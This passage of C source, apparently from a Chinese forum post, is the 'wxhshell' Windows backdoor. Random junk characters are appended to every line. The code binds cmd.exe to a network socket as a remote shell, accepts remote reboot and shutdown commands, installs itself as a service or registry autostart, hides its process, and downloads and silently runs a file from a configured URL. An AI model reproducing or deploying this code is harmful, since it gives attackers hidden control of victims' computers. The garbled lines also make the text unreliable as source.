  // 帮助 UT;%I_i!'  
  case '?': { }#ink4dK:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WARiw[  
    break; ~.T|n =  
  } m)A:w.o  
  // 安装 [* <x)  
  case 'i': { a2P)@R  
    if(Install()) J 8 KiL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gX" -3w  
    else B_[efM<R$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M'%4BOpI6`  
    break; 2M x\D  
    } wO]e%BTO  
  // 卸载 v]EMJm6d|  
  case 'r': { OlT8pG5Oa  
    if(Uninstall()) d*8*9CpO:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <tvLKx  
    else Ar<5UnT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`i*SF(gV  
    break; l`"?K D  
    } &g;!n&d zP  
  // 显示 wxhshell 所在路径 p_I^7 $  
  case 'p': { UF-&L:s[  
    char svExeFile[MAX_PATH]; ,sitOy}ks  
    strcpy(svExeFile,"\n\r"); ==Egy:<:Q  
      strcat(svExeFile,ExeFile); G2|jS@L#  
        send(wsh,svExeFile,strlen(svExeFile),0); {py%-W  
    break; LG8h@HY&L  
    } Jg$<2CR&  
  // 重启 O50_qu33ju  
  case 'b': { @)d_zWE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {D[6=\ F  
    if(Boot(REBOOT)) #G#gc`S-,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hs)Cf)8u  
    else { Mp/l*"(  
    closesocket(wsh); ht>%O7  
    ExitThread(0); rfk{$g  
    } vv.E6D^x(  
    break; hJ(vDv%  
    } W{-g?)Tou  
  // 关机 uE.BB#  
  case 'd': { 3O,nNt;L{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qb[hKp5K6  
    if(Boot(SHUTDOWN)) pa46,q&M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5, $6mU#=  
    else { 1 tOslP@  
    closesocket(wsh); J$}]p  
    ExitThread(0); ,NQ!d4 ~D  
    } t#"0^$l=  
    break; D^4nT,&8  
    } >e {1e  
  // 获取shell A'#d:lOA  
  case 's': { Nf([JP% 4  
    CmdShell(wsh); {.2\}7.c  
    closesocket(wsh); l_}d Q&R  
    ExitThread(0); t.8r~2(?  
    break; t8-P'3,Q$  
  } O q$_ q  
  // 退出 "r46Rfa  
  case 'x': { %)7t2D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P7F"#R0QB  
    CloseIt(wsh); KAnV%j  
    break; opa}z-7>^  
    } y7hDMQ c'  
  // 离开 Os<E7l zqO  
  case 'q': { Wu 0:X*>}p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bg Ux&3  
    closesocket(wsh); U5kKT.M  
    WSACleanup(); J'Pyn  
    exit(1); DURWE,W>  
    break; Ysu\CZGX  
        } [eD0L7 1[  
  } >g<Y H'U{  
  } 1<G+KC[F  
%]Z4b;W[Y  
  // 提示信息 xuv W6Q;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UiG/Rn  
} Mm$\j*f/  
  } Mq$K[]F  
o*H U^  
  return; 1*=ev,Z  
} pbAL&}  
W#bYz{s.  
// shell模块句柄 \Sd8PGl*'  
int CmdShell(SOCKET sock) ."+lij=56  
{ Z8 v8@Y  
STARTUPINFO si; :rL%,o"  
ZeroMemory(&si,sizeof(si)); a6LL]_&g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BI:Cm/ >  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OPNRBMD  
PROCESS_INFORMATION ProcessInfo; /i"hViCrlG  
char cmdline[]="cmd"; cp@Fj"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ?CAU+/  
  return 0; 'V7LL1K^>  
} zz*PAYl.  
\!\:p/f  
// 自身启动模式 Y]([K.I=  
int StartFromService(void) zhw*Bed<  
{ w||t3!M+n  
typedef struct -{0Pq.v  
{ {<ShUN  
  DWORD ExitStatus; ? uYO]!VC  
  DWORD PebBaseAddress; DDr\Kv)k(  
  DWORD AffinityMask; WRD z*Zf  
  DWORD BasePriority; D;!sH?J@+  
  ULONG UniqueProcessId; 4fKvB@O@.  
  ULONG InheritedFromUniqueProcessId; WkuCn T  
}   PROCESS_BASIC_INFORMATION; ]pvHsiI:  
n0=]C%wr  
PROCNTQSIP NtQueryInformationProcess; H=BI%Z  
$L^%*DkM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %"f85VfZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *W8n8qG%T  
9&* 7+!  
  HANDLE             hProcess; zdwQpB,+^  
  PROCESS_BASIC_INFORMATION pbi; M Z"V\6T]  
QG*hQh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )3CM9P'0  
  if(NULL == hInst ) return 0; B[ZQn]y  
)(]rUJ~+~A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iOZ9A~Ywy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~S('\h)1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -Hm"Dx  
y7pBcyWTE=  
  if (!NtQueryInformationProcess) return 0; Q qF<HCO  
G T~rr*X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y A,. C4=s  
  if(!hProcess) return 0; 7D<Aa?cv_l  
,u|>%@h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yr+QV:oVA  
-F/)-s6#!'  
  CloseHandle(hProcess); }m<+tn3m  
M;XU"8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M%:\ry4:  
if(hProcess==NULL) return 0; uB+#<F/c  
#!_4ZX  
HMODULE hMod; w(bvs&`{uC  
char procName[255]; o%Q9]=%!  
unsigned long cbNeeded; 9%kO%j,3  
N=u( 3So  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d1#lC*.Sg  
:Jyr^0`J  
  CloseHandle(hProcess); `}t5`:#k  
2. nT k   
if(strstr(procName,"services")) return 1; // 以服务启动 JVg}XwR  
k @fxs]Y_L  
  return 0; // 注册表启动 Fdl0V:<  
} `%|3c  
b6;MTz*k>  
// 主模块 j(I(0Yyh  
int StartWxhshell(LPSTR lpCmdLine) +mG"m hF  
{ MX*4d{l  
  SOCKET wsl; 0Bgj.?l  
BOOL val=TRUE; dgQ<>+9]6  
  int port=0; 6-$95.Y2  
  struct sockaddr_in door; I5j|\ /Ht  
[2Y@O7;n I  
  if(wscfg.ws_autoins) Install(); @=g{4(zR ^  
%a8e_  
port=atoi(lpCmdLine); CNV^,`FX  
*pO`sC>  
if(port<=0) port=wscfg.ws_port; 43=)akJi  
l^tRy_T:-  
  WSADATA data; [#aJ- Uu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]/p>p3@1C  
Q-iBK*-w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v"Bm4+c&0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LCXWpU j~  
  door.sin_family = AF_INET; ?W dY{;&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y x66Xy  
  door.sin_port = htons(port); 0T@axQ[%  
"\lO Op^-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D1ik*mDA=  
closesocket(wsl); nql{k/6  
return 1; sWTa;Qi  
} jU 3ceXV  
c8zok `\P_  
  if(listen(wsl,2) == INVALID_SOCKET) { Qo]qs+  
closesocket(wsl); non5e)w3@  
return 1; Z>/ *q2  
} giIPK&  
  Wxhshell(wsl); B$OV^iwxK  
  WSACleanup(); .2|(!a9W  
/Aw@2 6  
return 0; x'G_z_<V  
+s7w@  
} ',D%,N}J  
J`; 9Z  
// 以NT服务方式启动 %<|<%~l&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) all2?neK  
{ C%%gCPI^y  
DWORD   status = 0; b'4}=Xpn  
  DWORD   specificError = 0xfffffff; 6xr%xk2E  
?{L'd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g%)cyri  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I4 <_y5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1=X1<@*  
  serviceStatus.dwWin32ExitCode     = 0; fG8^|:  
  serviceStatus.dwServiceSpecificExitCode = 0; 6#:V3 ;  
  serviceStatus.dwCheckPoint       = 0; Jh4pY#aF  
  serviceStatus.dwWaitHint       = 0; IQ$6}.  
LF{8hC[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %n,_^voE  
  if (hServiceStatusHandle==0) return; @bAu R  
5]kv1nQ  
status = GetLastError(); +T,0,^ *  
  if (status!=NO_ERROR) +sq_fd ;'D  
{ pz{ ]O_px  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?5% o-hB|  
    serviceStatus.dwCheckPoint       = 0; cQ`0d3  
    serviceStatus.dwWaitHint       = 0;  7?vj+1;  
    serviceStatus.dwWin32ExitCode     = status; CLuQ=-[|  
    serviceStatus.dwServiceSpecificExitCode = specificError; oykb8~u}}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4)XB3$<  
    return; d<m.5ECC}  
  } {=,I>w]T|W  
[4yw? U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :+?r nb)N  
  serviceStatus.dwCheckPoint       = 0; YB:}L b  
  serviceStatus.dwWaitHint       = 0; ^nFP#J)_5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }YM[aq?6  
} AW!A +?F6  
*dC&*6Rx  
// 处理NT服务事件,比如:启动、停止 ttBqp|.?S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E>r7A5Uo  
{ /*M3Ns1@2  
switch(fdwControl) >V\^oh)t]t  
{ ;Z`R!  
case SERVICE_CONTROL_STOP: _S-@|9\&#  
  serviceStatus.dwWin32ExitCode = 0; 'C>sYSL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nz; \PS  
  serviceStatus.dwCheckPoint   = 0; 1FT3d  
  serviceStatus.dwWaitHint     = 0; Krl9O]H/[  
  { y(^\]-fE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U: )Gc  
  } :s-9@Yl|  
  return; h 'Hnq m  
case SERVICE_CONTROL_PAUSE: F'B0\v =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $>+g)  
  break; >Ml5QO$*.q  
case SERVICE_CONTROL_CONTINUE: G68@(<<Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UG}2q:ST  
  break; }-u%6KZ   
case SERVICE_CONTROL_INTERROGATE: L9F71bs59  
  break; {.y_{yWo  
}; roBb8M|q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o-;/ x)  
} OEC/'QOae  
,g,Hb\_R)  
// 标准应用程序主函数 1083p9Uh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `82Dm!V  
{ :AI%{EV-L  
Z a S29}  
// 获取操作系统版本 VYt<j<ba  
OsIsNt=GetOsVer(); 3=*ur( Qy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wkV'']= Xg  
.*.eY?,V  
  // 从命令行安装 5OX[)Li  
  if(strpbrk(lpCmdLine,"iI")) Install(); I`i"*z  
@7V~CNB+  
  // 下载执行文件 ,xAF=t  
if(wscfg.ws_downexe) { l\uNh~\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *v?kp>O  
  WinExec(wscfg.ws_filenam,SW_HIDE); ["4Tn0g ;  
} ]]3rSXs2}J  
mZjpPlJ  
if(!OsIsNt) { ;-;lM6zP  
// 如果时win9x,隐藏进程并且设置为注册表启动 0r8Wv,7Bo  
HideProc(); &|db}\jT  
StartWxhshell(lpCmdLine); XD't)B(q  
} .aVtd [  
else ?,8+1"|$A]  
  if(StartFromService()) M]/DKo  
  // 以服务方式启动 %H2ios[UO  
  StartServiceCtrlDispatcher(DispatchTable); 3JkdPh  
else >}W[>WReI  
  // 普通方式启动 6 .)Xeb"  
  StartWxhshell(lpCmdLine); V*@Y9G  
CH;U_b  
return 0; BMuEfa^  
}
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只看该作者 1 发表于: 2006-10-10
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